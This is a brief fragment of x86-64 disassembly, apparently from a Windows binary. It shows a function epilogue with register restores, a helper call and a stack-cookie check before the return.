lea rdx, str.PAGE
jmp 0x140020c90
mov eax, dword [rbx + 0xc]
test eax, eax
je 0x140020cf6
mov edx, dword [rbx + 8]
lea rcx, [rsp + 0x40]
add rcx, rax
je 0x140020cf6
test edx, edx
je 0x140020cf6
lea rax, [rsp + 0x40]
mov ebp, edx
sub rcx, rax
lea rdx, [rcx + r15]
jmp 0x140020cf9
mov rdx, rbp
mov rbx, qword [rsp + 0x1098]
mov rdi, qword [rsp + 0x1060]
mov rsi, qword [rsp + 0x1068]
mov r12, qword [rsp + 0x1058]
mov r14, qword [rsp + 0x1050]
mov rax, qword [rsp + 0x30]
mov rcx, r13
mov r9, qword [rsp + 0x38]
mov r8d, ebp
mov qword [rsp + 0x20], rax
call fcn.140020ab0
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.14002bc20
add rsp, 0x1070
pop r15
pop r13
pop rbp
ret